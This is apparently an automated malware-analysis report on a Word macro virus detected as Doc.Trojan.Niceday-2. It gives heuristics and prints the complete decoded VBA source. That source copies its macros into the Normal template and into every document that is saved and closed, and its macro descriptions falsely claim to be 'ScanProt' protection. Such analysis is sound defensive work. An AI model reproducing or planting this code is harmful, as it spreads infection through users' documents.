MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Word document containing multiple VBA macros, including AutoOpen, AutoClose, and AutoExit. The AutoClose macro copies a macro named 'Payload' and others into the current document, then saves it. This behavior suggests the document is designed to spread its malicious macro functionality to other documents.
Heuristics 5
-
ClamAV: Doc.Trojan.Niceday-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Niceday-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2998 bytes |
SHA-256: a775c083618be4c7a7b69c0d7e5eaa77d0dd7d5f2c3813568138a9d24395eaaa |
|||
|
Detection
ClamAV:
Doc.Trojan.Niceday-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim counter
Dim vZap$
Dim vMacro$
On Error GoTo -1: On Error GoTo Abort
WordBasic.DisableAutoMacros
counter = counter + 1
WordBasic.FileSaveAs Format:=1
vZap$ = WordBasic.[FileName$]()
vMacro$ = vZap$ + ":Payload"
WordBasic.MacroCopy "Global:PayLoad", vMacro$
vMacro$ = vZap$ + ":AutoExit"
WordBasic.MacroCopy "Global:AutoExit", vMacro$
vMacro$ = vZap$ + ":AutoOpen"
WordBasic.MacroCopy "Global:VOpen", vMacro$
vMacro$ = vZap$ + ":VClose"
WordBasic.MacroCopy "Global:AutoClose", vMacro$
WordBasic.FileSaveAs Format:=1
Abort:
End Sub
Attribute VB_Name = "AutoExit"
Rem Concept3.AutoExit.Macro
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExit.MAIN"
Dim message1$
Dim daynumber
Dim monthnumber
message1$ = "Have a Nice Day You Fool!"
daynumber = WordBasic.Day(WordBasic.Now())
monthnumber = WordBasic.Month(WordBasic.Now())
If daynumber = 1 And monthnumber = 4 Then WordBasic.MsgBox message1$ Else WordBasic.MsgBox message1$
End Sub
Attribute VB_Name = "PayLoad"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Null macro to prevent prank macros from re-installing. Do not delete."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.PayLoad.MAIN"
Rem That's enough to prove my point
End Sub
Attribute VB_Name = "VOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.VOpen.MAIN"
Dim counter
Dim vZap$
Dim vMacro$
On Error GoTo -1: On Error GoTo Abort
WordBasic.DisableAutoMacros
counter = counter + 1
vZap$ = WordBasic.[FileName$]()
vMacro$ = vZap$ + ":Payload"
WordBasic.MacroCopy vMacro$, "Global:PayLoad"
vMacro$ = vZap$ + ":AutoExit"
WordBasic.MacroCopy vMacro$, "Global:AutoExit"
vMacro$ = vZap$ + ":AutoOpen"
WordBasic.MacroCopy vMacro$, "Global:VOpen"
vMacro$ = vZap$ + ":VClose"
WordBasic.MacroCopy vMacro$, "Global:AutoClose"
Abort:
counter = counter + 1
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.